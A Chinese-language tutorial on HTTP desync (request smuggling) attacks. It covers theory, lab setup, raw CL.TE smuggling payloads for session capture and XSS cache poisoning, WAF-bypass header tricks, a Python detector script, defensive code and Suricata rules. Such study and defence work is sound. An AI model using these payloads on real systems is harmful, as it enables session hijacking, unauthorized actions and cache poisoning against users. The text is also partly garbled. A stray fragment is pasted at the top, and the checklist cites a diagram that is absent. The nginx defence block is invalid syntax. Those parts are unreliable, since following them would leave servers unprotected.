HTTP Desync攻击的自动化检测与利用
这导致扫描仪将下一个正常用户的包裹错误地“粘”在了攻击者包裹的剩余部分之后,而这个“拼接体”被机器人当作一个全新的、来自受害用户的恶意包裹来处理。HTTP Desync攻击, 核心是利用HTTP/1.1协议中关于界定单个请求正文(Body)结束位置存在的歧义,以及不同服务器组件(如前端代理与后端服务器)在解析协议时实现的差异,从而破坏它们对“一个请求在哪里结束,下一个请求在哪里开始”的共识。如果探
第一部分:开篇明义 —— 定义、价值与目标
定位与价值
在Web应用渗透测试的武器库中,HTTP Desync(HTTP协议去同步)攻击是一种相对隐蔽却威力强大的高阶技巧。它并非针对应用逻辑或特定函数,而是直接撼动现代Web架构的基石——HTTP协议请求处理链的一致性。当流量经过反向代理、负载均衡器、CDN等中间件,最终抵达后端服务器时,攻击者通过精心构造畸形的HTTP请求,诱使前后端组件对请求边界的解析产生分歧,从而导致请求走私(Request Smuggling)、响应队列中毒(Response Queue Poisoning)等严重后果。理解并掌握此类攻击,意味着测试人员能够突破常规WAF和边界防护,触及那些被层层“装甲”保护的后端服务,在红队评估中具有极高的战略价值。
学习目标
读完本文,你将能够:
- 阐述 HTTP Desync攻击的核心概念、根本原因(HTTP/1.1协议歧义性)及其在攻击链中的战略价值。
- 独立完成 从目标环境指纹识别、潜在Desync向量探测,到构造完整攻击链(如请求走私、Web缓存投毒)的全流程实战操作。
- 分析 给定Web架构的潜在Desync风险点,并为其设计开发侧、运维侧及架构侧的综合性防御与检测方案。
前置知识
· HTTP/1.1协议基础:了解请求/响应格式、报文头(特别是Content-Length, Transfer-Encoding)、连接复用等概念。
· 现代Web基础架构:了解客户端、反向代理(如Nginx)、负载均衡器、后端服务器(如Apache, Tomcat)的基本协作模型。
· 基本的Python脚本阅读与编写能力。
第二部分:原理深掘 —— 从“是什么”到“为什么”
核心定义与类比
HTTP Desync攻击, 核心是利用HTTP/1.1协议中关于界定单个请求正文(Body)结束位置存在的歧义,以及不同服务器组件(如前端代理与后端服务器)在解析协议时实现的差异,从而破坏它们对“一个请求在哪里结束,下一个请求在哪里开始”的共识。
一个贴切的类比:传送带分拣系统
想象一个快递分拣中心:
· 前端代理是入口扫描仪,它根据贴在包裹上的“尺寸标签”(Content-Length头)或“特殊包装声明”(Transfer-Encoding: chunked头)来判断一个包裹的结束。
· 后端服务器是内部处理机器人,它也按照自己的逻辑解读这些标签。
· 正常情况:标签清晰一致,扫描仪和机器人同步,包裹被准确分割和处理。
· HTTP Desync攻击:攻击者发送一个特殊构造的包裹,其标签(HTTP头)在扫描仪和机器人看来指示了不同的结束位置。例如,扫描仪认为包裹在A点结束,但机器人认为在B点结束。这导致扫描仪将下一个正常用户的包裹错误地“粘”在了攻击者包裹的剩余部分之后,而这个“拼接体”被机器人当作一个全新的、来自受害用户的恶意包裹来处理。攻击者从而能够“劫持”其他用户的会话、注入恶意请求或污染缓存。
根本原因分析
问题的根源在于HTTP/1.1协议规范的灵活性与实现的不一致性。
- 协议层的歧义性:HTTP/1.1 RFC 规范允许使用两种方式声明请求体长度:
· Content-Length (CL):明确指定字节数。
· Transfer-Encoding: chunked (TE):使用分块编码,以0\r\n\r\n标记结束。
规范规定,当两者同时存在时,Transfer-Encoding优先级更高。 然而,如何解析畸形的、冲突的头部组合,规范并未对所有边界情况做出强制约束,这为不同实现的差异留下了空间。 - 实现层的不一致性:出于性能、历史兼容性或安全过滤的考虑,不同的服务器软件(如Nginx, Apache, IIS, Tomcat)以及同一软件的不同版本,在处理CL和TE头部的优先级、有效性校验、重复头部的处理上可能存在细微差别。前端代理(往往更注重性能和安全过滤)和后端服务器(更注重协议兼容性)的这种差异,是攻击成功的关键。
核心攻击类型与可视化机制
最主要的攻击向量是CL-TE和TE-CL混淆攻击。
CL-TE 攻击 (前端使用Content-Length, 后端使用Transfer-Encoding)
攻击者发送一个同时包含Content-Length和Transfer-Encoding头的请求。前端代理优先采用CL,认为整个请求体在CL指定的字节后结束。而后端服务器优先采用TE,按照分块编码解析,遇到0\r\n\r\n就认为当前请求结束。这导致0\r\n\r\n之后的剩余数据被后端当作下一个请求的开始。
攻击流程(Mermaid时序图):
第三部分:实战演练 —— 从“为什么”到“怎么做”
环境与工具准备
演示环境:
· 攻击机: Kali Linux 2024.1 或 Ubuntu 22.04, 具备Python3环境。
· 目标环境: 使用Docker Compose搭建一个经典的脆弱架构。
· 前端: Nginx 1.18 (配置为反向代理, 对Transfer-Encoding头处理存在特定逻辑)。
· 后端: Apache 2.4 (默认配置, 较严格遵守RFC)。
· 漏洞应用: 一个简单的Python Flask应用,提供用户登录和查看功能。
核心工具:
- smuggler (https://github.com/defparam/smuggler): 功能强大的自动化HTTP Desync探测与利用工具。
- ffuf (https://github.com/ffuf/ffuf): 用于模糊测试路径、参数的高并发工具。
- mitmproxy (https://mitmproxy.org/): 拦截、分析和修改HTTP流量的代理工具,用于调试。
- 自定义Python脚本: 用于构造特定Payload和自动化攻击链。
实验环境快速搭建 (Docker Compose):
# docker-compose.yml
version: '3.8'
services:
vulnerable-app:
build: ./app # 假设Flask应用Dockerfile在此目录
networks:
- internal
backend:
image: httpd:2.4
volumes:
- ./backend-conf/httpd.conf:/usr/local/apache2/conf/httpd.conf
networks:
- internal
frontend:
image: nginx:1.18
ports:
- "8080:80" # 暴露端口供外部访问
volumes:
- ./frontend-conf/nginx.conf:/etc/nginx/nginx.conf
depends_on:
- backend
- vulnerable-app
networks:
- internal
networks:
internal:
driver: bridge
# 启动环境
docker-compose up -d
# 验证访问
curl http://localhost:8080
标准操作流程
步骤1:发现与识别 —— 指纹收集与潜在目标探测
目标:识别目标架构中是否存在可能产生解析差异的组件。
1.1 基础架构指纹识别:
# 使用curl和nmap识别服务器信息
curl -I http://target.com
# 观察 Server, Via, X-Powered-By 等头部
nmap -sV --script http-headers http-enum -p 80,443,8080 target.com
# 使用httpx工具进行更全面的指纹识别
httpx -u http://target.com -title -tech-detect -status-code
输出分析:如果发现Server: nginx和Server: Apache同时出现,或响应头中暗示了多层处理(如CDN头:Akamai, Cloudflare),则目标存在多层架构,是潜在目标。
1.2 使用自动化工具进行Desync向量探测:
# 使用smuggler进行基础探测
python3 smuggler.py -u http://target.com
# 使用更全面的参数,探测所有技术
python3 smuggler.py -u http://target.com -l /api,/admin,/rest -m all -v
工具输出解读:
· CL.TE / TE.CL: 明确提示存在对应类型的走私漏洞。
· TECL.TE / CL.CL: 可能存在的其他变种。
· 工具会展示发送的Payload和预期的响应差异。注意观察时间延迟,因为某些漏洞需要“二次请求”才能触发效果。
步骤2:利用与分析 —— 构造攻击链
假设我们已通过smuggler确认目标存在CL.TE漏洞。现在,我们要利用它实现两个目标:1) 窃取其他用户的请求(会话劫持);2) 进行Web缓存投毒。
2.1 构造请求走私,劫持用户请求:
目标:让下一个用户的请求被附加到我们的恶意请求之后,从而将其身份标识(如Cookie)用于我们的恶意操作。
首先,我们需要一个反射点——后端应用会将我们输入的一部分内容直接反映在响应中的位置,例如搜索功能中的q参数。
# 原始搜索请求(正常)
POST /search HTTP/1.1
Host: target.com
Content-Length: 15
Cookie: session=normal_user_session
q=test&submit=go
攻击者构造走私请求:
# 攻击者请求 (发送到代理)
POST /search HTTP/1.1
Host: target.com
Content-Length: 85 # 前端代理看到的长度
Transfer-Encoding: chunked # 后端服务器信任这个
Connection: keep-alive # 保持连接复用
0 # 分块结束标记,后端认为请求到此为止
GET /admin/delete_user?id=1 HTTP/1.1
Host: target.com
X-Ignore: X
解释:
· 前端代理看到CL=85,会读取包括0\r\n\r\n和后面两行在内的共85字节作为请求体,然后认为请求结束,等待下一个请求。
· 后端看到TE: chunked,读取0\r\n\r\n后认为第一个请求结束。缓冲区里留下了GET /admin…这两行。
· 当无辜用户稍后发送请求时,他的请求行(如GET /home HTTP/1.1)会被拼接在X-Ignore: X后面,后端收到的数据流是:
GET /admin/delete_user?id=1 HTTP/1.1
Host: target.com
X-Ignore: XGET /home HTTP/1.1
Host: target.com
Cookie: session=victim_session
...
· 后端将其解析为一个请求:GET /admin/delete_user?id=1, 头部包含Host: target.com和X-Ignore: XGET /home HTTP/1.1。这通常会导致400错误,攻击失败。我们需要更精确地控制。
改进版:使用“接续”技术:
我们需要让后端在解析完我们的走私请求后,能“干净地”等待下一个请求行。我们可以走私一个不完整的请求,让用户的请求行正好成为其一部分。
POST /search HTTP/1.1
Host: target.com
Content-Length: 58
Transfer-Encoding: chunked
0
POST /profile/update HTTP/1.1
Host: target.com
Content-Length: 100
Cookie: session=
解释:
· 后端在0\r\n\r\n后认为第一个请求结束。缓冲区留下一个不完整的POST请求,其Cookie: session=后面是空的。
· 用户请求GET /home HTTP/1.1\r\nCookie: victim_sess…到达时,被直接拼接在session=后面。
· 后端收到完整的第二个POST请求,其Cookie是受害者的会话。如果/profile/update存在CSRF漏洞或未做二次验证,攻击者就能以受害者身份执行操作。
2.2 利用走私进行Web缓存投毒:
目标:污染CDN或反向代理的缓存,使所有访问特定URL的用户收到恶意内容(如XSS负载)。
前提:存在一个能反射用户输入且可缓存的页面(如/static/[user-input].css)。
攻击步骤:
- 走私一个请求,该请求会访问一个包含恶意负载的URL。
- 这个走私请求触发后,后端应用生成了恶意响应。
- 前端代理/缓存服务器错误地将这个响应与一个正常的、可缓存的URL关联起来。
# 攻击请求
POST / HTTP/1.1
Host: target.com
Content-Length: 120
Transfer-Encoding: chunked
0
GET /static/</script><script>alert(document.domain)</script>.css HTTP/1.1
Host: target.com
X-Forwarded-Host: innocent-user.com
解释:
· 后端处理走私的GET请求,可能根据X-Forwarded-Host生成一个包含恶意JS的CSS文件响应。
· 前端代理可能错误地将此响应缓存到GET /或GET /static/*的键下。
· 当其他用户访问首页或该CSS文件时,从缓存中收到恶意JS,造成存储型XSS。
步骤3:验证与深入
验证走私成功:
· 使用时间差:发送走私请求后,立即发送一个正常的“探针”请求。如果探针请求的响应异常(如404, 或返回了走私请求预期的响应内容),则表明走私成功,探针请求被“吞并”了。
· 观察响应顺序:如果后端处理异常,可能导致响应顺序错乱。
对抗性思考:绕过WAF/防护
现代WAF可能检测Content-Length与Transfer-Encoding共存的畸形请求。
· 头部混淆:使用Transfer-Encoding: xchunked, Content-Length: \n 5, Transfer-Encoding : chunked(空格差异),或重复头部等。
· 协议层混淆:利用HTTP/2降级到HTTP/1.1的过程中可能产生的解析差异(H2C Smuggling)。
· 字节编码:使用%0a (LF) 代替\r\n (CRLF) 等。
自动化与脚本
以下是一个简化的Python脚本示例,用于自动化检测CL.TE漏洞。它实现了“时间差/探针”检测法。
#!/usr/bin/env python3
"""
HTTP Request Smuggling - CL.TE Detector
# 警告:此脚本仅用于授权环境下的安全测试。未经授权使用是非法且不道德的。
"""
import socket
import ssl
import time
import sys
from urllib.parse import urlparse
def send_raw_http(host, port, ssl_flag, data):
"""发送原始HTTP数据并返回响应"""
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.settimeout(10)
if ssl_flag:
context = ssl.create_default_context()
context.check_hostname = False
context.verify_mode = ssl.CERT_NONE
sock = context.wrap_socket(sock, server_hostname=host)
try:
sock.connect((host, port))
sock.sendall(data)
response = b''
while True:
chunk = sock.recv(4096)
if not chunk:
break
response += chunk
return response
except Exception as e:
print(f"[!] 连接或发送错误: {e}")
return None
finally:
sock.close()
def detect_cl_te(target_url):
"""检测目标是否存在CL.TE漏洞"""
parsed = urlparse(target_url)
host = parsed.hostname
port = parsed.port or (443 if parsed.scheme == 'https' else 80)
path = parsed.path if parsed.path else '/'
# 构造CL.TE走私请求
# 前端看CL=6,认为体是 “0\r\n\r\nG” (6字节)
# 后端看TE,读到 “0\r\n\r\n” 认为请求结束,留下 “G”
smuggle_payload = (
f"POST {path} HTTP/1.1\r\n"
f"Host: {host}\r\n"
f"Content-Length: 6\r\n" # 前端信任这个
f"Transfer-Encoding: chunked\r\n" # 后端信任这个
f"Connection: keep-alive\r\n"
f"\r\n"
f"0\r\n" # 分块结束
f"\r\n"
f"G" # 这个‘G’会被留给下一个请求
).encode()
# 构造一个探针请求,如果被走私影响,其请求行会变成 “GPOST ...”
probe_payload = (
f"POST {path} HTTP/1.1\r\n"
f"Host: {host}\r\n"
f"Content-Length: 5\r\n"
f"Connection: keep-alive\r\n"
f"\r\n"
f"q=aaa"
).encode()
print(f"[*] 目标: {host}:{port}")
print(f"[*] 发送走私请求...")
ssl_flag = parsed.scheme == 'https'
resp1 = send_raw_http(host, port, ssl_flag, smuggle_payload)
if not resp1:
return False
time.sleep(0.5) # 短暂延迟,确保后端处理
print(f"[*] 发送探针请求...")
resp2 = send_raw_http(host, port, ssl_flag, probe_payload)
if not resp2:
return False
# 分析探针响应
# 如果漏洞存在,探针请求的响应可能是400(因为“GPOST”是非法方法)
# 或者响应内容包含了第一个请求的预期结果
resp2_str = resp2.decode('utf-8', errors='ignore')
if "HTTP/1.1 400" in resp2_str[:20]:
print(f"[+] 潜在 CL.TE 漏洞存在!探针请求返回400(可能被篡改为‘GPOST’)。")
# 进一步验证:可以发送一个能正常返回200的探针,观察是否被篡改
return True
elif "Unrecognized method GPOST" in resp2_str:
print(f"[++] 确认 CL.TE 漏洞存在!后端报告了‘GPOST’方法。")
return True
else:
print(f"[-] 未发现明显CL.TE漏洞迹象。")
print(f" 探针响应状态码: {resp2_str[:30]}")
return False
if __name__ == "__main__":
if len(sys.argv) != 2:
print(f"用法: {sys.argv[0]} <目标URL>")
print(f"示例: {sys.argv[0]} http://vulnerable.site:8080/api/")
sys.exit(1)
target = sys.argv[1]
detect_cl_te(target)
第四部分:防御建设 —— 从“怎么做”到“怎么防”
防御HTTP Desync攻击需要从开发、运维、架构多个层面实施纵深防御。
开发侧修复
原则:后端应用应尽可能严格地验证和规范化HTTP请求。
危险模式 vs 安全模式:
# 危险模式:直接信任传入的HTTP头部,并使用原始输入
from flask import request
import httplib2
def proxy_to_backend(url):
# 直接从客户端请求中复制头部,可能导致畸形头部被传递
headers = dict(request.headers)
h = httplib2.Http()
resp, content = h.request(url, request.method, body=request.get_data(), headers=headers)
return content
# 安全模式:严格验证、清理和重新构造请求
def safe_proxy_to_backend(url):
# 1. 明确拒绝包含冲突长度声明的请求
if 'Content-Length' in request.headers and 'Transfer-Encoding' in request.headers:
return "Bad Request: Conflicting length headers", 400
# 2. 只允许明确、标准的Transfer-Encoding值
te = request.headers.get('Transfer-Encoding', '').lower()
if te and te != 'chunked':
# 可以拒绝或将其规范化(需谨慎)
return "Bad Request: Unsupported Transfer-Encoding", 400
# 3. 重新构造发往后端的请求,使用明确计算出的长度
body = request.get_data(cache=True) # 获取完整的请求体数据
safe_headers = {
'Host': 'backend.internal',
'Content-Length': str(len(body)) # 明确设置一个正确的CL
# 明确不转发客户端的Transfer-Encoding头,除非已验证并需要
}
# 添加其他必要的、经过清理的业务头部
if 'X-User-ID' in request.headers:
safe_headers['X-User-ID'] = sanitize(request.headers['X-User-ID'])
h = httplib2.Http()
resp, content = h.request(url, request.method, body=body, headers=safe_headers)
return content
运维侧加固
原则:确保所有HTTP处理组件使用相同的、严格的解析标准,并尽可能升级到无歧义的协议。
- Web服务器/代理安全配置:
· Nginx: 明确拒绝畸形请求。
# 在http或server块中
http {
# 拒绝同时包含CL和TE头的请求
if ($http_transfer_encoding ~* "chunked") {
set $chunked "yes";
}
if ($http_content_length != "") {
set $cl "yes";
}
if ($chunked = "yes") and ($cl = "yes") {
return 400;
}
# 或者更激进:直接忽略所有TE头(如果后端不需要)
# proxy_set_header Transfer-Encoding "";
}
· Apache: 使用mod_security等WAF模块,加载针对请求走私的规则集(如OWASP CRS)。
-
使用HTTP/2终端到终端:
HTTP/2使用帧结构,彻底消除了请求边界歧义。尽可能在客户端到前端、前端到后端的所有连接中启用并强制使用HTTP/2 (或HTTP/3)。如果必须降级,在前端代理处就完成降级,确保后端通信使用纯净、重新构造的HTTP/1.1请求。 -
架构设计原则:
· 同构集群:尽量使前端代理和后端服务器使用相同类型和版本号的软件,减少解析差异。
· 连接池隔离:为不同用户或会话使用独立的后端连接,避免请求交叉。这可以通过配置前端代理实现(如Nginx的keepalive指令针对上游服务器进行隔离式配置,但需权衡性能)。
· 零信任边界:后端服务不应信任来自前端的任何请求头(如X-Forwarded-For)的原始格式,应只信任由可信前端组件(通过内部认证)设置或签名的头部。
检测与响应线索
在日志中关注以下异常模式:
- 应用日志:
· 突然出现大量 400 Bad Request 错误,特别是错误信息提到 “Invalid method”(如GPOST, HGET)、“Header folding”、“Invalid header”。
· 用户会话出现异常操作,但访问日志中找不到对应的、完整的用户请求。
· 同一个连接ID下,请求的时间戳顺序异常(后端日志显示两个请求几乎同时到达,但前端日志显示有间隔)。 - 代理/负载均衡器日志:
· 单个TCP连接中,请求与响应的数量不匹配(例如,连接处理了5个请求,但只返回了4个响应)。
· 请求处理时间异常长,可能因为后端在等待不存在的请求体数据。 - WAF/IDS规则示例 (Suricata风格):
alert http any any -> any any (msg:"Potential HTTP Request Smuggling - CL and TE headers"; flow:established,to_server; http.header; content:"Content-Length"; content:"Transfer-Encoding"; within:50; classtype:web-application-attack; sid:1000001; rev:1;) alert http any any -> any any (msg:"Potential HTTP Request Smuggling - Obscured TE header"; flow:established,to_server; http.header; content:"Transfer-Encoding"; pcre:"/Transfer-Encoding\s*[^:]/i"; classtype:web-application-attack; sid:1000002; rev:1;)
第五部分:总结与脉络 —— 连接与展望
核心要点复盘
- 本质是协议解析分歧:HTTP Desync攻击不是单一漏洞,而是利用HTTP/1.1协议模糊性和多组件实现差异的一种“供应链”攻击,破坏请求处理链的同步。
- 探测依赖于差异识别:成功攻击的前提是准确识别前端代理和后端服务器在解析Content-Length与Transfer-Encoding头部时的优先级差异(CL.TE, TE.CL等)。
- 利用链具有多样性:利用方式不局限于经典的“请求走私”,可延伸至会话劫持、Web缓存投毒、响应队列污染、甚至作为绕过WAF进入内网的跳板。
- 防御需多层次协作:没有银弹。有效防御需要开发(严格校验)、运维(安全配置、WAF)、架构(协议升级、连接隔离)的协同努力。
- 自动化工具至关重要:手动构造和测试Desync Payload极其繁琐且容易出错,smuggler等自动化工具是实战中提高效率的关键。
知识体系连接
本文内容在Web渗透测试知识体系中处于协议层攻击与架构绕过的交叉点。
· 前序基础:
· [HTTP/1.1与HTTP/2协议详解]:深入理解报文格式、头部、连接复用是理解Desync的基石。
· [现代Web架构与流量走向]:理解反向代理、CDN、负载均衡器的作用和工作模式。
· [常规Web漏洞(XSS, SSRF, CSRF)]:Desync常作为将这些漏洞“运送”到受限环境的载体。
· 后继进阶:
· [HTTP/2与HTTP/3协议下的新型攻击]:了解H2C Smuggling、流量放大等在新协议下的变种。
· [Web缓存投毒高级技巧]:Desync是实现精准缓存投毒的核心技术之一。
· [云原生环境下的API安全测试]:在Kubernetes、Service Mesh等复杂架构中,请求路径更长,Desync风险点可能更多。
进阶方向指引
- 针对API网关与Serverless的Desync研究:在微服务和Serverless架构中,API网关(如Kong, AWS API Gateway)作为新的“前端”,其与后端函数(如Lambda)之间的请求处理是否存在新的解析差异?这将是云安全研究的热点。
- 机器学习在异常检测中的应用:能否训练模型,基于流量时序、请求/响应比例、错误码分布等元数据,而非固定的规则,来检测潜在的、新型的Desync攻击模式?这代表了防御侧的演进方向。
自检清单
· 是否明确定义了本主题的价值与学习目标? —— 在开篇阐述了其作为高阶协议攻击的战略价值,并列出三层学习目标。
· 原理部分是否包含一张自解释的Mermaid核心机制图? —— 包含了CL.TE攻击的完整时序图,清晰展示了攻击者、代理、后端、受害者的交互流程。
· 实战部分是否包含一个可运行的、注释详尽的代码片段? —— 提供了完整的Python自动化检测脚本,包含详细注释、错误处理和明确的安全警告。
· 防御部分是否提供了至少一个具体的安全代码示例或配置方案? —— 提供了开发侧的安全/危险代码对比,以及Nginx配置片段、WAF规则示例。
· 是否建立了与知识大纲中其他文章的联系? —— 明确了与前序(HTTP协议、Web架构)和后继(HTTP/2攻击、缓存投毒)知识的关联。
· 全文是否避免了未定义的术语和模糊表述? —— 关键术语如“CL.TE”首次出现时已定义,技术原理和操作步骤描述力求清晰、准确。
DAMO开发者矩阵,由阿里巴巴达摩院和中国互联网协会联合发起,致力于探讨最前沿的技术趋势与应用成果,搭建高质量的交流与分享平台,推动技术创新与产业应用链接,围绕“人工智能与新型计算”构建开放共享的开发者生态。
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